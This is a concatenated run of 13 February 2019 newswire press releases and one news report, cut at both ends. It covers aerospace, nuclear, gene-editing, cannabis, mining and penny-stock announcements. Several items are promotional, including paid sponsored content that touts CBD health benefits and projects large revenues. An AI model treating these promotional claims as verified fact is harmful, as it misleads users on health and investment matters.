Mr. Charest and Jim Quick, AIACs President and CEO, met with Nova Scotias premier, the Honourable Stephen McNeil, and conducted several roundtables with regional economic development leaders, local aerospace industry leaders and educators from across the region. The aerospace industry is vital to Atlantic Canada and more broadly, Canadas economy. We must support it by having a clear vision and providing the necessary needs. It was incredibly valuable to hear the insights, expertise and opinions on how we can come together and ensure a strong, vital aerospace sector that will propel Canadas economy now and, in the future, added Mr. Charest.

Todays engagement day builds on similar outreach events already held in Toronto, Montreal, Winnipeg and Vancouver. Prior to preparing and releasing his Vision 2025 Report this spring, Mr. Charest will also hear from industry, academic and political leaders in Ottawa.

While Canadas aerospace sector ranks fifth globally and contributed nearly $25 billion to the national economy and almost 190,000 jobs in 2017 alone, a comprehensive strategy to guide the countrys investment in the sector has not been proposed for decades. Vision 2025 will culminate in a report and recommendations that reflect input gathered from the Charest-led discussions in cities with strong aerospace presence, and will provide recommendations to spur growth in the aerospace sector.

Were grateful to have an industry champion like Jean Charest lead us with Vision 2025, said Jim Quick, President and CEO of AIAC. We know that Canadian aerospace is at a critical juncture, and we need a long-term strategy and investment to keep Canada at the forefront of the global aerospace sector.

Highlights of the aerospace industry in Atlantic Canada:

Atlantic Canada was the fastest growing region in aerospace maintenance, repair & overhaul (MRO) over the past five years.

Atlantic Canada accounted for 5% of the national GDP (direct) for manufacturing and 13% for MRO.

Atlantic Canadas aerospace industry directly employs a labour force of 6,500 highly skilled workers and is indirectly responsible for the employment of 15,800 people.

More details on Vision 2025 are available at www.aiac.ca/vision2025 (English) or www.aiac.ca/fr/vision2025 (French).





About AIAC:

AIAC is the national association representing Canadas aerospace manufacturing and services sector. As the worlds fifth-largest aerospace industry, Canadas aerospace sector contributes nearly $25B to the economy in GDP, exports 75% of its output, and dedicates over 20% of its activity to research and development (R&D). Aerospace is responsible for the employment of 190,000 Canadians.





Media contact:

Shanice Scott

T: 416-920-0716 ext. 240

C: 519-362-7671

sscott@counselpa.com

OAKVILLE, Ontario, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Terrestrial Energy today announced the participation of leading members of the nuclear supply chain and industry in its Nuclear Innovation Working Group. The working group will advise Terrestrial Energy during Phase 2 of its Vendor Design Review program and on the development and deployment of its Integral Molten Salt Reactor (IMSR). The group consists of the following companies and their representatives:

Bruce Power, Michael Rencheck, President and CEO

Burns & McDonnell, Glenn Neises, Nuclear Director

SNC-Lavalin, EVP and Candu Energy, President and CEO, William (Bill) A. Fox III,

Corporate Risk Associates Limited, Jasbir Sidhu, CEO

Kinectrics, David Harris, President and CEO

Laker Energy Products, Christopher Hughes, President and CEO

Promation, Mark Zimny, President and CEO

Sargent & Lundy, Michael J. Knaszak, Senior Vice President and Project Director

We are pleased to report the involvement of so many leading members of the Canadian and international nuclear supply chain and industry in our IMSR project. This group brings expert capabilities to our engineering and testing programs, said Simon Irish, CEO of Terrestrial Energy. It illustrates the ambition of the nuclear industrial supply chain, and its support for private-sector driven nuclear innovation today.

Canada has a mature nuclear industry including a supply chain that has serviced the CANDU reactor fleet in Canada and globally for more than 50 years, and today supports the multi-billion-dollar refurbishments of Ontarios CANDU reactors, said Ron Oberth, CEO of the Organization of Canadian Nuclear Industries. This nuclear innovation working group shows a deep bench of industrial expertise that can be drawn together to support game-changing nuclear technology, such as Terrestrial Energys molten salt reactor power plant.

The creation of the working group follows Novembers announcement by Minister Sohi, Canadas Federal Minister of Natural Resources, of the conclusions of the SMR Roadmap, a nationwide study of Small Modular Reactor technology initiated in 2017. The conclusions of the report reflect Canadas national interest in nuclear innovation and propose a framework for the future deployment of small modular reactors in Canada.

About Terrestrial Energy

Terrestrial Energy is a developer of Generation IV advanced nuclear power plants that use its proprietary Integral Molten Salt Reactor (IMSR) technology. IMSR technology represents true innovation in cost reduction, versatility and functionality of nuclear power plants. IMSR power plants will provide zero-carbon, reliable, dispatchable, cost-competitive electric power and high grade industrial heat for use in many industrial applications, such as chemical synthesis and desalination, and in so doing extend the application of nuclear energy far beyond electric power markets. They have the potential to make important contributions to industrial competitiveness, energy security, and economic growth. Their deployment will support rapid global decarbonization of the primary energy system by displacing fossil fuel combustion across a broad spectrum. Using an innovative design, and proven and demonstrated molten salt reactor technology, Terrestrial Energy is engaged with regulators and industrial partners to complete IMSR engineering and to commission first IMSR power plants in the late 2020s.

Contact:

Jarret Adams

Terrestrial Energy

Phone: (202) 815-9234

Email: jadams@fulloncom.com

Contact:

Brian Smith

Terrestrial Energy

Phone: (416) 822-3130

Email: bsmith@the-lanes.caJoe Raedle/Getty Images(WASHINGTON) -- The White House on Tuesday condemned violence against the press after the BBC said a man wearing a Make America Great Again hat attacked on of their cameraman at a rally for President Donald Trump Monday night in El Paso, Texas.



In an incident caught on video, the man appeared to shove the cameraman, Ron Skeans, before being restrained by Trump campaign security.



Trump, standing in front of the press pen, paused his speech during the scuffle and checked to see if the cameraman was alright.



"You all right? Everything okay?" Trump asked before continuing with his speech. In the background, people in the crowd could be heard yelling CNN Sucks!



The man who allegedly attacked Skeans has not yet been identified.



The BBC said in a statement that Skeans was "violently pushed and shoved" by someone in the campaign rally crowd, and Skeans is doing okay.



"It is clearly unacceptable for any of our staff to be attacked for doing their job," the BBC stated.



The BBC added that they have asked the Trump campaign for additional security at Trump rallies, and said that the security guards present did nothing to stop the Trump supporter.



Michael Glassner, the COO of Trump for President, Inc., said in a statement to ABC News: "An individual involved in a physical altercation with a news cameraman was removed from last night's rally. We appreciate swift action from venue officers and law enforcement officers."



White House press secretary Sarah Sanders said in a statement that the president condemns all acts of violence against anyone  even the press.



"President Trump condemns all acts of violence against any individual or group of people - including members of the press. We ask that anyone attending an event do so in a peaceful and respectful manner," Sanders said.



In the wake of violent attacks on journalists, the president has been asked if his rhetoric bears responsibility. The president has stood firm that while he does not condone attacks, he does not take responsibility for recent violence against the press.



"I do notice that people are declaring more and more fake news, where they go, 'Fake news!'" the president said during an interview with The New York Times earlier this month. "I even see it in other countries. I dont necessarily attribute that to me. I think I can attribute the term to me. I think I was the one that started using it, I would say."



Copyright  2019, ABC Radio. All rights reserved.DALLAS, Feb. 13, 2019 (GLOBE NEWSWIRE) -- via OTC PR WIRE -- Alternet Systems, Inc. (USOTC: ALYI) (ALYI) today announced that the company has been receiving substantial interest from notable investors exploring opportunities to buy in to Alternet's hemp energy initiative. Since bringing Clarkson University Professor David Mitlin on board to lead and hemp energy storage initiative, and in combination with the recent legalization of hemp farming in the U.S. under the 2018 Farm Act, Alternet has been the recipient of substantive investor interest. Professor Mitlin is a leading expert in electrochemistry and a pioneer in the use of hemp as a clean, green, renewable energy in the form of a supercapacitor. Mitlin has successfully used hemp bast - the fiber left over from processing hemp - to construct carbon nanosheets that compete with, and in some respects, outperform the supercapacitor performance derived from more typical graphene nanosheets. Mitlin holds a U.S. Patent for his hemp energy storage invention. "We are fairly well down the road in discussions with notable investors and believe shareholders can soon expect to hear from us a major announcement in regard to a significant upgrade of our hemp energy initiative," said Ed Bollen, President of Altnet Systems.

ALYI is focused on offering varied, environmentally sustainable, energy storage solutions for targeted markets, including consumer electric vehicles and military applications. The first product category is lithium battery-powered motorcycles, to be followed by motorbikes. ALYI also recently brought Clarkson University Professor David Mitlin on board to lead a hemp energy storage initiative. Mitlin has successfully used hemp bast - the fiber left over from processing hemp - to construct carbon nanosheets that compete with, and in some respects, outperform the supercapacitor performance derived from more typical graphene nanosheets. Mitlin holds a US patent for his proprietary hemp energy storage technology.

Research Report Speculative Buy Rating And $0.09 Target PPS

Goldman Small Cap Research recently issued an updated research report on the Company. The report includes a 'speculative-buy' rating with a target price-per-share of $0.09. The report provides an in-depth overview and analysis of Alternet's new strategy, new orders, and upcoming milestones. To view the report, along with disclosures and disclaimers, visit https://www.alternetsystemsinc.com/research-rpt/ or http://www.GoldmanResearch.com.

Disclaimer/Safe Harbor: This news release contains forward-looking statements within the meaning of the Securities Litigation Reform Act. The statements reflect the Company's current views with respect to future events that involve risks and uncertainties. Among others, these risks include the expectation that any of the companies mentioned herein will achieve significant sales, the failure to meet schedule or performance requirements of the companies' contracts, the companies' liquidity position, the companies' ability to obtain new contracts, the emergence of competitors with greater financial resources and the impact of competitive pricing. In the light of these uncertainties, the forward-looking events referred to in this release might not occur.

For more information, please visit: http://www.alternetsystemsinc.com

Alternet Systems, Inc. Contact

Randell Torn

info@lithiumip.com

+1-800-713-0297Vancouver, B.C., Feb. 13, 2019 (GLOBE NEWSWIRE) -- Lomiko Metals Inc. (Lomiko) (TSX-V: LMR, LMRMF, FSE: DH8C, (ISIN: CA54163Q1028) (WKN: A0Q9W7) (LEI: 529900GJP51V4HR9MN94) has appointed Mr. Gabriel Erdelyi to the Advisory Board of Lomiko Metals.

Mr. Erdelyi is a well-funded activist investor with a significant business network in Ontario. His accomplishments bear proof of his determination and resourcefulness. Stated Mr. A. Paul Gill, CEO of Lomiko Metals.

Mr. Erdelyi studied Mechanical Engineering Technician Studies at George Brown College in 1994. He then entered the family business as a tool and die apprentice, but always held the same zest for entrepreneurship as his father who started the business. He eventually took over the family business and expanded from 3 people to over 20. In 2006 he was awarded the designation as one of the fastest growing companies in Canada from Canadian Business Magazine.

He created Dieroll Metals Products Inc. based in Mississauga, Ontario in 2003 having purchased a stamping and roll forming company in 2003 during difficult financial times. Dieroll Metal Products Inc. is an industry leader in Roll Forming Production and Stamping Tooling for the metal processing industry. It serves a variety of industries including construction and building products, Structural and Architectural components, the Roofing industry, heating and cooling components, the mining industry, transportation sector including trucking and railway car components and the Automotive industry.

Located in Mississauga for over 25 years in the heart of the industrious Greater Toronto Area, Dieroll Metal Products is positioned to provide solutions to customers tooling and production needs. Having projects that span the globe, Dieroll Metal Products is ready to serve any customers engineering or manufacturing needs. He enjoys sailing, scuba diving, kitesurfing and trekking to the far reaches of the world to explore new cultures.

Lomiko will continue to strengthen its Management, Board and Advisory Board as Lomiko moves toward becoming a supplier of battery materials for electric vehicles in the new green economy.

For more information on Lomiko Metals, review the website at www.lomiko.com, contact A. Paul Gill at 604-729-5312 or email: info@lomiko.com.

On Behalf of the Board,

A. Paul Gill

Chief Executive Officer

We seek safe harbor. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release

AttachmentsDENVER, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Investments in gene editing tools for agricultural crops have heated up in recent years and will only intensify in 2019. The technology is increasingly recognized as game-changing, and according to a new report from CoBanks Knowledge Exchange Division, it has the potential to live up to the hype.

The low cost of gene-editing technologies position them as viable solutions to critical food system challenges including agricultural labor and water shortages, disease and chemical resistance, climate change, food waste and food security, said Crystal Carpenter, senior economist, specialty crops, CoBank. These technologies are relatively new and do face potential challenges, particularly with consumer acceptance. However, barring widespread rejection by consumers, gene editing will be a significant boon to producers, food and agriculture supply chains and allied industries in the years ahead.

How Gene Editing Differs from Genetically Modified Organisms

Gene editing differs from traditional GMO technologies. Perhaps most notably, gene-editing does not typically involve introducing a gene from another species. The resulting genetic makeup is one that could be achieved in nature or via traditional non-GMO techniques. Gene editing is comprised of a suite of technologies that make precise and targeted changes to DNA.

Gene editing is also quicker, more precise and less costly than GMO technologies, according to Carpenter. Varieties developed using gene editing typically take three to five years to develop, versus ten to 15 years for transgenic GMOs and more than ten years for mutagenesis and cross breeding. Developing a variety using traditional GMO techniques typically costs more than $100 million. With gene editing, it can potentially cost less than $10 million, and in some cases much less.

Given its low cost and shorter development timeframe, and with the potential of greater consumer acceptance, gene-editing is seeing a growing share of research dollars, said Carpenter. Gene editing is not seen as a replacement to GMO techniques, but rather another tool in the toolbox.

Commercialization of gene-edited crops is intensifying. An estimate from the Genetic Engineering and Society Center at North Carolina State University suggests that 20 new gene-edited crops will become available in the U.S. in the next five years.

Examples of gene-editing technologies include CRISPR (clustered regularly interspaced short palindromic repeats) and TALEN (transcription activator-like effector nucleases). CRISPR is the latest technology. It is lower cost, quicker, simpler and easier to use, and has fewer intellectual property restrictions than other gene-editing technologies.

Gene Editing Offers Wide-Ranging Benefits

The potential benefits of gene-editing technology are vast. Scientists are continually improving the technology and uncovering new applications to resolve some of agriculture's greatest challenges. Examples of specific benefits gene editing technologies can provide are plentiful.

From a nutritional and food safety standpoint, the technology brings the potential to produce peanuts with reduced allergens and sweet potatoes with more beta carotene. From an environmental sustainability standpoint, gene editing holds the promise of developing tomatoes that are resistant to powdery mildew, which could save billions of dollars and eliminate the need for spray applications of fungicides. Increased crop resistance to other common diseases reduces the need for chemical applications and water use.

Gene editing tools bring opportunities for reduced food waste through greater harvest efficiency and produce with extended shelf lives. They can also deliver taste and function benefits. Enhanced flavor tomatoes, naturally decaffeinated coffee and sugarcane with higher biofuel conversion rates are representative of the specific applications of gene editing tools and the corresponding benefits.

Gene editing opens the door for historic crop improvements in the specialty crop sector, said Carpenter. Costly and time-intensive traditional GMO techniques have created barriers to entry for smaller companies and small-acreage crops. As a result, the pace of improvement in the specialty crop sector has lagged behind that of many other crops.

Gene Editing Challenges

The Coalition for Responsible Gene Editing in Agriculture indicates the key in gaining acceptance for gene editing is establishing consumer trust and making sure gene-edited products offer benefits that are highly important to consumers. Developing a strategy to gain global understanding and acceptance of gene editing technology is the core mission of the coalition, a program of the Center for Food Integrity.

The level of consumer acceptance is most important to the future pace of innovation and adoption rates of gene-edited foods. However, a lack of widespread consumer acceptance wont stop research, innovation and commercialization. Nevertheless, the pace of innovation within food crops, including specialty crops, stands to be impacted by consumer acceptance more than crops used for animal feed or industrial inputs.

Comparatively, adoption rates of GMO corn and soy are above 90 percent in the U.S., despite opposition by some consumers and the high cost of development. Gene editing resolves one of the key issues with GMO products by excluding the use of a transgene. Challenges that are far less important but still notable involve regulatory and intellectual property issues.

Gene editing has the potential to be a game-changer for the food system by making notable improvements in nutrition, food safety and security, the environment, and farm profitability, said Carpenter. Ultimately, the widespread adoption and success of these tools will hinge on the industrys ability to develop these tools in a responsible way, and transparent communication about the technology and the benefits that matter most to consumers.

A video synopsis, and the full report, Gene Editing: A Potential Game Changer for Crop Agriculture and Specialty Crops, are available at cobank.com.



About CoBank

CoBank is a $128 billion cooperative bank serving vital industries across rural America. The bank provides loans, leases, export financing and other financial services to agribusinesses and rural power, water and communications providers in all 50 states. The bank also provides wholesale loans and other financial services to affiliated Farm Credit associations serving more than 70,000 farmers, ranchers and other rural borrowers in 23 states around the country.

CoBank is a member of the Farm Credit System, a nationwide network of banks and retail lending associations chartered to support the borrowing needs of U.S. agriculture, rural infrastructure and rural communities. Headquartered outside Denver, Colorado, CoBank serves customers from regional banking centers across the U.S. and also maintains an international representative office in Singapore.

For more information about CoBank, visit the bank's website at cobank.com.

Forward-Looking Statements

Certain of the statements contained in this news release that are not historical facts are forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. Our actual future business may differ materially and adversely from our expectations expressed in any forward-looking statements. Forward-looking statements are typically identified by words such as believe, expect, anticipate, intend, estimate, plan, project, target, may, will, should, would, could, or similar expressions. Although we believe that the information expressed or implied in such forward-looking statements is reasonable, we can give no assurance that such projections and expectations will be realized or the extent to which a particular plan, projection or expectation may be realized. These forward-looking statements are based on current knowledge and subject to risks and uncertainties. We encourage you to read our Annual Report and Quarterly Reports located on the banks website at www.cobank.com. We undertake no obligation to revise or publicly update our forward-looking statements for any reason.SEATTLE, Feb. 13, 2019 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- CFN Media Group (CFN Media), the leading agency and financial media network dedicated to the North American cannabis industry, announces publication of an article covering ICCs continued strategic plan in Europe. On Feb. 1st, International Cannabis Corp. (CSE: WRLD, OTC: WLDCF) announced an agreement to purchase 155 metric tonnes of already-processed industrial hemp from Eviana Health Corporation, along with a definitive agreement to acquire 100 per-cent of Future Hemp Corp, which holds an exclusive supply agreement for the delivery of 400 metric tonnes of certified organic hemp from a licensed Croatian producer, further bolstering its European supply chain.



The processed, extraction-ready hemp will be transported to Evianas Serbian facilities for immediate extraction, and by utilizing new extraction technology purchased by Eviana and integrated with their existing extraction equipment, the company expects to convert the 155 metric tonnes into high-quality, organic CBD oils within 200 days. Harvesting the 400 tonnes of Future Hemps certified organic hemp is expected to take place in September 2019 and upon completion, the product will be sorted, processed, then transported for extraction and distribution.

The immediate addition of already processed hemp for conversion into high-quality, organic CBD oils enables ICC to expedite the fulfillment of its growing purchase orders. Marketing and selling CBD products derived from its Serbian and Croatian industrial stockpiles is intended to maximize profitability through ICCs portfolio of brands and existing distribution network of over 39,000 European pharmacies, and will signal the launch of International Cannabis dedicated European sales campaign announced in November.

Europes Emerging Market a Huge Opportunity

Europes population of over 740 million presents a potential market twice the size of the US and Canadian markets combined, a market experiencing supply shortages and still in its infancy compared to North Americas, presenting an immense opportunity for companies like ICC with the foresight to establish an early presence.

Eugene Beukman, ICC CEO and Director said, These strategic acquisitions crystallize the Companys ability to consistently supply our pan-European distribution network with a suite of organic CBD products. The now secured hemp inventories equip International Cannabis with the ability to deliver product to our distribution network starting in Q2 2019. With ample stockpiles of processed hemp already in hand, this unique marriage with ICCs distribution assets creates a truly synergistic union for shareholders of both companies, which we are tremendously pleased to have architected to begin 2019.

Cannabidiol (CBD) oil is all the rage these days with products offered by many leading CBD oil companies containing the stuff flooding the global market. Much touted as a cure-all for multiple health problems from anxiety to pain and nausea; CBD oil is being added to a wide range of consumer items including vape oils, bath bombs, body lotions, and other beauty products. Theyre currently being sold online, in vape shops, by health food stores, and at some grocery stores. CBD is most commonly offered in a tincture or capsule, however an increasing number of brands are now offering CBD in a salve or cream for direct application to the skin. Direct application of CBD to the problem area allows it to bypass the digestive system and begin working where it is needed.

The CBD market has seen much faster growth than any other aspect of the cannabis industry, predicted by all industry analysts to become a multi-billion-dollar industry by 2020. The hemp-derived CBD market is forecast to be especially lucrative, and a 2017 report by Brightfield Group predicted a per annum increase of 55% over the next five years alone.

Beukman added, This grants the company additional ability to post significant operating numbers in 2019 and secure its first-mover advantage in what is probably the worlds largest and most important unified market for CBD products. By combining a material stockpile of already processed hemp with a steady pipeline of organic hemp available for harvest, ICC is fully equipped to execute upon its 2019 and 2020 purchase order obligations. Organic CBD isolate is currently trading within the European Union at 12,000 Euro equivalent per kilogram, translating to hundreds of millions of dollars of realizable revenues to ICC. By further formulating and branding into a market starved for product, the company could geometrically multiply this figure.

ICC now boasts a local presence in 13 European states via licensing of take-off agreements, a supply of product ready for sale in Q2, world class brands soon to be announced, an experienced operational team as a result of ICCs January 49.9% acquisition of Wayland Group, enabling the formulation and production of additional product lines, and Europes first dedicated insurance program for medical cannabis patients through an agreement with Buywell Care.

With an established presence on five continents, 160 clients representing roughly 3500 pharmacies in 16 countries, licenses for cultivation on three continents and access to over 1250 acres of premium hemp crops, International Cannabis is well on it way to creating the first truly global cannabis supply chain and will be one to keep on your radar as the year progresses.

For more information, please visit https://intlcannabiscorp.com/

Please follow the link to read the full article: https://www.cannabisfn.com/icc-hemp-acquisitions-bolsters-european-supply-chain-speeds-extraction/

About CFN Media

For Visitors and Viewers

CFN Medias Cannabis Financial Network (CannabisFN.com) is the destination for savvy investors and business people profiting from the worldwide cannabis industry. Viewers will see breaking news, exclusive content and original programming involving the people, companies and investments shaping the industry.

For Cannabis Businesses & Companies

CFN Media is a leading agency and financial media network dedicated to the cannabis industry. We help private, pre-public and public cannabis companies in the US and Canada attract capital, investors and media attention.

Our powerful digital media and distribution platform conveys a companys message and value proposition directly to accredited and retail investors and national media active in the North American cannabis markets.

Since 2013, CFN Media has enabled the worlds preeminent cannabis companies to thrive in the capital and public markets.

Learn how to become a CFN Media client company, brand or entrepreneur: http://www.cannabisfn.com/featuredcompany

Disclaimer

CannabisFN.com is not an independent financial investment advisor or broker-dealer. You should always consult with your own independent legal, tax, and/or investment professionals before making any investment decisions. The information provided on http://www.cannabisfn.com (the Site) is either original financial news or paid advertisements drafted by our in-house team or provided by an affiliate. CannabisFN.com, a financial news media and marketing firm enters into media buys or service agreements with the companies that are the subject of the articles posted on the Site or other editorials for advertising such companies. We are not an independent news media provider. We make no warranty or representation about the information including its completeness, accuracy, truthfulness or reliability and we disclaim, expressly and implicitly, all warranties of any kind, including whether the Information is complete, accurate, truthful, or reliable. As such, your use of the information is at your own risk. Nor do we undertake any obligation to update the items posted. CannabisFN.com received compensation for producing and presenting high quality and sophisticated content on CannabisFN.com along with financial and corporate news.

The above article is sponsored content. Emerging Growth LLC, which owns CannabisFN.com and CFN Media, has been hired to create awareness. Please follow the link below to view our full disclosure outlining our compensation: http://www.cannabisfn.com/legal-disclaimer/

Contact

CFN Media

Frank Lane

206-369-7050

flane@cannabisfn.comHARTSVILLE, S.C., Feb. 13, 2019 (GLOBE NEWSWIRE) -- The Board of Directors of Sonoco (NYSE: SON) today declared a $.41 per share quarterly common stock dividend. The dividend will be paid on March 8, 2019, to shareholders of record as of February 27, 2019.



According to Rob Tiede, president and chief executive officer, this is the 375th consecutive quarter, dating back to 1925, that the Company has paid dividends to shareholders.OAKVILLE, Ontario, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Saint Jean Carbon Inc. (Saint Jean or the Company) (TSX-V: SJL) (OTCQB: TORVF) is pleased to announce that the Curtiss Motorcycles (Curtis) (OTC: CMOT) collaboration announced on November 9th 2018 is on-track and continues to move full steam ahead.



Curtiss Motorcycles commissioned Saint Jean Carbon to provide design and engineering expertise for its electric motorcycles functional components including electric motor, controller, charger, inverter, and battery packs. The luxury motorcycle brand is pleased with the teams progress and very confident that the final prototypes will be ready for their debut this Spring. As the automotive world continues to move toward battery electric propulsion, Curtiss Motorcycles is positioned to be the leader of the premium electric motorcycle market.

Saint Jean Carbon, CEO, Paul Ogilvie, commented: As we develop the cutting-edge technology powering the revolutionary shift toward an all-electric motoring future, were broadening our relationships globally with the necessary expertise to help us serve this fast-growing market. Our collaboration with Curtiss lends itself to our vision of bringing innovative raw materials right through to finished products.

Curtiss Motorcycles, CEO, Matt Chambers, commented: We are pleased with the Saint Jean Carbon team, their ingenuity, and their shared drive to disrupt the electric motorcycle space.

Curtisss line of electric motorcycles are expected to be launched in May 2019, and the company will continue to publish updates as they become available. The terms of the agreement are confidential. At the Effective Date, Curtis shall issue to the Company and/or to the Companys partners and suppliers Five Million (5,000,000) unvested shares of Curtis Common Stock (the Shares) (with a deemed value of $0.20 USD equaling a total of $1,000,000 USD) which shall fully vest upon the occurrence, to the written satisfaction of the Company, of the following: The project is broken down into four project milestones that represent the effective date; 1) design 2) engineering 3) prototype completion 4) delivery of final two prototypes. Initially, the company will supply four finished prototype power systems in the spring of 2019. All intellectual property developed during the design and build will be the property of Curtiss. A number of other partners will work on the project under the management of the company. The agreement is for one year, however, it is expected that the project will complete in the spring of 2019.

About Saint Jean Carbon

Saint Jean is a publicly traded carbon science company, with specific interests in energy storage and green energy creation and green re-creation, with holdings in graphite mining and lithium claims in the province of Quebec in Canada. For the latest information on Saint Jeans properties and news please refer to the website: http://www.saintjeancarbon.com/ .

On behalf of the Board of Directors

Saint Jean Carbon Inc.

Paul Ogilvie, CEO and Director

Information Contact :

Email: info@saintjeancarbon.com

Tel: (905) 844-1200

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

FORWARD LOOKING STATEMENTS: This news release contains forward-looking statements, within the meaning of applicable securities legislation, concerning Saint Jeans business and affairs. In certain cases, forward-looking statements can be identified by the use of words such as plans, expects or does not expect, intends budget, scheduled, estimates, forecasts, intends, anticipates or variations of such words and phrases or state that certain actions, events or results may, could, would, might or will be taken, occur or be achieved. Such forward-looking statements include those with respect to the future payments required to be paid to the Vendor of the Lochaber mining property.



These forward-looking statements are based on current expectations, and are naturally subject to uncertainty and changes in circumstances that may cause actual results to differ materially. The forward-looking statements in this news release assume, inter alia, that the Company will be able to fund the required cash payments.

Although Saint Jean believes that the expectations represented in such forward-looking statements are reasonable, there can be no assurance that these expectations will prove to be correct. There are risks which could affect Saint Jeans future results and could cause the results to differ materially from those expressed in these forward-looking statements including closing failure or delay, the impact of general economic conditions in Canada and globally and the risk that they will deteriorate, industry conditions, including fluctuations in the price of supplies and the risk that they will increase, that required consents and approvals from regulatory authorities will not be obtained and the liabilities and risks inherent in Saint Jeans operations.

Statements of past performance should not be construed as an indication of future performance. Forward-looking statements involve significant risks and uncertainties, should not be read as guarantees of future performance or results, and will not necessarily be accurate indications of whether or not such results will be achieved. A number of factors, including those discussed above, could cause actual results to differ materially from the results discussed in the forward-looking statements. Any such forward-looking statements are expressly qualified in their entirety by this cautionary statement.

All of the forward-looking statements made in this press release are qualified by these cautionary statements. Readers are cautioned not to place undue reliance on such forward-looking statements. Forward-looking information is provided as of the date of this press release, and Saint Jean assumes no obligation to update or revise them to reflect new events or circumstances, except as may be required under applicable securities laws.

Bankers Hall West Tower

Suite 1000, 888 - 3rd St S.W

Calgary, AB T2P 5C5

P: (403)-444-6888 F: (403)-295-9170

Email: info@saintjeancarbon.com

Web: www.saintjeancarbon.comNOT FOR DISTRIBUTION TO U.S. NEWS WIRE SERVICES OR FOR DISSEMINATION IN THE U.S.

TORONTO, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Sandy Lake Gold Inc. (Sandy Lake or the Corporation) (TSX-V:SLAU) is pleased to announce that it intends to complete a non-brokered private placement financing of (i) up to 20,000,000 units (the Units) at a price of $0.10 per Unit; and (ii) up to 10,000,000 flow-through common shares (FT Shares) at a price of $0.16 per FT Share, for aggregate gross proceeds of up to $3,600,000.00 (the Offering). Each Unit shall be comprised of one common share in the capital of the Corporation (a Share) and one-half of one (1/2) share purchase warrant. Each whole share purchase warrant shall be exercisable to purchase one additional Share at a price of $ 0.20 for a period of 24 months from the closing of the Offering, provided that if at any time after the date which is four months and one day following closing of the Offering, the closing price of the Shares on the principal market on which such Shares trade is at least $0.30 for more than 20 consecutive trading days, the expiry date will be accelerated to the date which is 30 days following the dissemination by the Corporation of a press release announcing such acceleration.



Insiders of the Company may subscribe for up to $850,000 of securities in the Offering, in any combination of FT Shares and Units. The Corporation may pay a finders fee to certain eligible finders assisting in the Offering, comprised of a cash payment in an amount equal to 6% of the gross proceeds raised by such finders from the sale of Units, and such number of non-transferrable compensation warrants as is equal to 6% of the number Units sold by such finders. Each compensation warrant will be exercisable to acquire one Share at a price of $ 0.16 for a period of 24 months following the closing of the Offering.

It is expected that proceeds of the Offering will be used for exploration expenditures at the Companys properties, and general corporate purposes. The securities issued pursuant to the Offering will be subject to a statutory four month and one day hold period. The Offering is subject to certain conditions including, but not limited to, the receipt of all necessary approvals, including the approval of the TSX Venture Exchange.

About Sandy Lake Gold Inc.

Sandy Lake Gold Inc. is a Toronto based mineral exploration company focused on the exploration and development of the Sandy Lake Gold project in Canada and proposed to acquire the Aremu Oko and Peters Mine properties in Guyana.

The Sandy Lake gold project comprises an approximate 45,000 hectares of mineral claim units in the underexplored Sandy Lake Archean Greenstone Belt in Northwestern Ontario. In 2014, a limited drill program in the western part of the Sandy Lake claim package returned high grade gold intercepts of 12.86 Au g/t over 6.85 meters and 12.17 Au g/t over 6.2 meters (see press release of Goldeye Exploration Ltd. dated April 9, 2014 available at SEDAR.com).

The Aremu - Oko and Peters Mine properties are 2 of the 4 past producing historical mines in Guyana. The properties total approximately 25,888 acres and are located in the Cuyuni-Mazarumi Region (Region 7) of north-central Guyana in the Guiana Shield.

All scientific and technical information in this press release has been prepared under the supervision of Dan Noone (Director of Sandy Lake), a qualified person within the meaning of National Instrument 43-101. Mr. Noone (B.Sc Geology, MBA) is a member of the Australian Institute of Geoscientists.

For further information please contact:

Patrick Sheridan

Executive Chairman & CEO

(416) 628-5904

Email: info@sandylakegold.com

Forward Looking Statements

This news release contains certain forward-looking information and statements within the meaning of applicable securities laws. The use of any of the words expect, anticipate, continue, estimate, may, might, will, project, should, believe, plans, intends and similar expressions are intended to identify forward-looking information and/or statements. Forward-looking statements and/or information are based on a number of material factors, expectations and/or assumptions of Sandy Lake which have been used to develop such statements and/or information but which may prove to be incorrect. Although Sandy Lake believes that the expectations reflected in such forward-looking statements and/or information are reasonable, undue reliance should not be placed on forward-looking statements as Sandy Lake can give no assurance that such expectations will prove to be correct. In addition to other factors and assumptions which may be identified herein, assumptions have been made regarding, among other things: receipt of all applicable regulatory approvals; availability of financing; the timing and nature of future exploration plans and other uses of proceeds; potential mineralization on any of the Corporations properties; and the timely receipt of any required regulatory approvals. The forward-looking information and statements included in this news release are not guarantees of future performance and should not be unduly relied upon. Such information and/or statements, including the assumptions made in respect thereof, involve known and unknown risks, uncertainties and other factors that may cause actual results and/or events to differ materially from those anticipated in such forward-looking information and/or statements including, without limitation: risks associated with the uncertainty of obtaining all applicable regulatory approvals, the availability of financing, reliability of historical and other drill results, uncertainties inherent in mineral exploration, political stability, availability of permits, aboriginal matters and/or certain other risks detailed from time-to-time in Sandy Lakes public disclosure documents (including, without limitation, those risks identified in this news release and Sandy Lakes current managements discussion and analysis). Furthermore, the forward-looking statements contained in this news release are made as at the date of this news release and the Corporation does not undertake any obligations to publicly update and/or revise any of the included forward-looking statements, whether as a result of additional information, future events and/or otherwise, except as may be required by applicable securities laws.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy and / or accuracy of this release



MONTREAL, Feb. 13, 2019 (GLOBE NEWSWIRE) -- "Tamino" or the "Company" (OTC Markets: TINO) The Company has prepared a Geologic Report on its El Volcan Property and has updated its Corporate Presentation. To download our newly updated Corporate Presentation, you must visit our Website in www.taminominerals.ca within the following link http://bit.ly/2TRfaIQ.



The presentation has updated Geologic information on the property and also contains data regarding our exploration budget as shown here.

